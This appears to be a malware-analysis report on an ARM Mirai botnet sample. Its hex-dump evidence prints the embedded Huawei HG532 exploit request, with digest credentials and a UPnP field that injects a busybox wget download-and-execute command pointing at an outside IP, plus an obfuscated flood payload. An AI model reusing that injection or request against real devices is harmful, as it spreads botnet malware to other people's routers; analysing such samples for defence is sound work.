Hostile ^100% Download

Hilix.arm

Mirai botnet exploit payload

UPnP AddPortMapping field injects a download-and-execute commandHuawei HG532 exploit with campaign marker

SHA-25690c6e31dbd3d092caef01ed472ef25717a4e8bf40d0ac842b7163ef9286860fe

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK₂(McTe)O₄(C₄La₂AsI)H₃(Cm₁₄F₈Po₅)Md₆(ArBi₃BkHe)Th

Evidence

ARM architecture from ELF header bytes 0x0–0x2f0

0x07f454c46010101610000000000000000.ELF...a........
0x1002002800010000009081000034000000..(.........4...
0x2068f20000020200003400200003002800h.......4. ...(.
⋯45 more rows

ARM OABI direct kill(2) syscall 0xadd0–0xae90

⋯3 more rows
0xae001040bde80cd08de20ef0a0e110402de9.@...........@-.
0xae10250090ef010a70e30040a0e10300009a%.....p..@......
0xae202e0100eb003064e2003080e50040e0e3.....0d..0...@..
⋯7 more rows

ARM OABI direct bind(2) SVC instruction 0xb3e4–0xb674

⋯3 more rows
0xb41400009d1504d08de20080bde810402de9.............@-.
0xb4241a0190ef010a70e30040a0e10300009a......p..@......
0xb434a9ffffeb003064e2003080e50040e0e3.....0d..0...@..
0xb4440400a0e11080bde810402de91b0190ef.........@-.....
0xb454010a70e30040a0e10300009a9effffeb..p..@..........
0xb464003064e2003080e50040e0e30400a0e1.0d..0...@......
0xb4741080bde810402de91e0190ef010a70e3[email protected].
0xb4840040a0e10300009a93ffffeb003064e2[email protected].
0xb494003080e50040e0e30400a0e11080bde8.0...@..........
0xb4a410402de908409de5270190ef010a70e3.@-..@..'.....p.
0xb4b40040a0e10300009a87ffffeb003064e2[email protected].
0xb4c4003080e50040e0e30400a0e11080bde8.0...@..........
0xb4d410402de91c0190ef010a70e30040a0e1[email protected]..@..
0xb4e40300009a7cffffeb003064e2003080e5....|....0d..0..
0xb4f40040e0e30400a0e11080bde810402de9.@...........@-.
0xb504230190ef010a70e30040a0e10300009a#.....p..@......
0xb51471ffffeb003064e2003080e50040e0e3q....0d..0...@..
0xb5240400a0e11080bde830402de90c408de2........0@-..@..
0xb534300094e8240190ef010a70e30040a0e10...$.....p..@..
0xb5440300009a64ffffeb003064e2003080e5....d....0d..0..
0xb5540040e0e30400a0e13080bde810402de9[email protected]....@-.
0xb564210190ef010a70e30040a0e10300009a!.....p..@......
0xb57459ffffeb003064e2003080e50040e0e3Y....0d..0...@..
0xb5840400a0e11080bde830402de90c408de2........0@-..@..
0xb594300094e8220190ef010a70e30040a0e10...".....p..@..
0xb5a40300009a4cffffeb003064e2003080e5....L....0d..0..
0xb5b40040e0e30400a0e13080bde810402de9[email protected]....@-.
0xb5c408409de5260190ef010a70e30040a0e1.@..&.....p..@..
0xb5d40300009a40ffffeb003064e2003080e5[email protected]..
0xb5e40040e0e30400a0e11080bde810402de9.@...........@-.
0xb5f4190190ef010a70e30040a0e10300009a......p..@......
0xb60435ffffeb003064e2003080e50040e0e35....0d..0...@..
⋯7 more rows

Huawei gateway digest auth 0xdb44–0xde34

⋯7 more rows
0xdbb4f0df2de904b04ce23bc9ffebf0af1be9..-...L.;.......
0xdbc4504f5354202f6374726c742f44657669POST /ctrlt/Devi
0xdbd46365557067726164655f312048545450ceUpgrade_1 HTTP
0xdbe42f312e310d0a436f6e74656e742d4c65/1.1..Content-Le
0xdbf46e6774683a203433300d0a436f6e6e65ngth: 430..Conne
0xdc046374696f6e3a206b6565702d616c6976ction: keep-aliv
0xdc14650d0a4163636570743a202a2f2a0d0ae..Accept: */*..
0xdc24417574686f72697a6174696f6e3a2044Authorization: D
0xdc34696765737420757365726e616d653d22igest username="
0xdc4464736c662d636f6e666967222c207265dslf-config", re
0xdc54616c6d3d22487561776569486f6d6547alm="HuaweiHomeG
0xdc64617465776179222c206e6f6e63653d22ateway", nonce="
0xdc743838363435636566623166396564653088645cefb1f9ede0
⋯9 more rows
0xdd1432343864316132353630313030363639248d1a2560100669
0xdd24220d0a0d0a3c3f786d6c207665727369"....<?xml versi
0xdd346f6e3d22312e3022203f3e3c733a456eon="1.0" ?><s:En
0xdd4476656c6f706520786d6c6e733a733d22velope xmlns:s="
0xdd54687474703a2f2f736368656d61732e78http://schemas.x
0xdd646d6c736f61702e6f72672f736f61702fmlsoap.org/soap/
0xdd74656e76656c6f70652f2220733a656e63envelope/" s:enc
0xdd846f64696e675374796c653d2268747470odingStyle="http
0xdd943a2f2f736368656d61732e786d6c736f://schemas.xmlso
0xdda461702e6f72672f736f61702f656e636fap.org/soap/enco
0xddb464696e672f223e3c733a426f64793e3cding/"><s:Body><
0xddc4753a5570677261646520786d6c6e733au:Upgrade xmlns:
0xddd4753d2275726e3a736368656d61732d75u="urn:schemas-u
0xdde4706e702d6f72673a736572766963653apnp-org:service:
0xddf457414e505050436f6e6e656374696f6eWANPPPConnection
0xde043a31223e3c4e65775374617475735552:1"><NewStatusUR
0xde144c3e24282f62696e2f62757379626f78L>$(/bin/busybox
0xde242077676574202d67203135392e323033 wget -g 159.203
0xde342e34342e3333202d6c202f746d702f62.44.33 -l /tmp/b

XOR-0x54-obfuscated Source Engine query payload 0xe6d4–0xe9c4

⋯3 more rows
0xe704353a20273825000033213127200000005: '8%..3!1' ...
0xe71435252135263d3b00272124243b2620005%!5&=;.'!$$;& .
0xe72424352727233b26300000000021273126$5''#;&0....!'1&
0xe734000000003530393d3a65666760000000....509=:efg`...
⋯11 more rows
0xe7f464626466000000003530393d3a000000dbdf....509=:...
0xe8042e20316d2c656100223d2e2c22000000. 1m,ea."=.,"...
0xe81422312620312c6661313f203f27656667"1& 1,fa1? ?'efg
0xe824000000000e2031616665000030313235..... 1afe..0125
0xe83421382000fffa1f00500018fff0fffb1f!8 .....P.......
0xe84454790000d3cc0000273c313838540000Ty......'<188T..
0xe854313a353638315400272d2720313954001:5681T.'-' 19T.
0xe864273c54007b363d3a7b3621272d363b2c'<T.{6=:{6!'-6;,
0xe87474071b0615540000071b06156e743524t....T......nt5$
0xe88424383120743a3b2074323b213a305400$81 t:; t2;!:0T.
0xe8943a373b2626313720540000007b363d3a:7;&&17 T...{6=:
0xe8a47b3621272d363b2c7424275400000000{6!'-6;,t$'T....
0xe8b47b363d3a7b3621272d363b2c743f3d38{6=:{6!'-6;,t?=8
0xe8c43874796d745400007b24263b377b54008tymtT..{$&;7{T.
0xe8d47b312c31540000007b32305400000000{1,1T...{20T....
0xe8e47b393524275400007b24263b377b3a31{95$'T..{$&;7{:1
0xe8f4207b2037245400007b27203520212754 { 7$T..{' 5 !'T
0xe904000000007a353a3d393154007b24263b....z5:=91T.{$&;
0xe914377b3a31207b263b21203154000000007{:1 {&;! 1T....
0xe924352727233b263054000000007b3120375''#;&0T....{1 7
0xe9347b2631273b38227a373b3a3254000000{&1';8"z7;:2T...
0xe9443a353931273126223126745400000000:591'1&"1&tT....
0xe9547b3031227b233520373c303b33540000{01"{#5 7<0;3T..
0xe9647b3031227b393d27377b233520373c30{01"{9='7{#5 7<0
0xe9743b335400243636322a37214500000000;3T.$662*7!E....
0xe9843b333d3a54000000313a203126540000;3=:T...1: 1&T..
0xe994653336356037303b3961673a3c246566e365`70;9ag:<$ef
0xe9a4313d643f323e5400173b3a3a313720311=d?2>T..;::17 1
0xe9b43074003b74171a175400000000073b210t.;t...T.....;!
0xe9c426373174113a333d3a3174052131262d&71t.:3=:1t.!1&-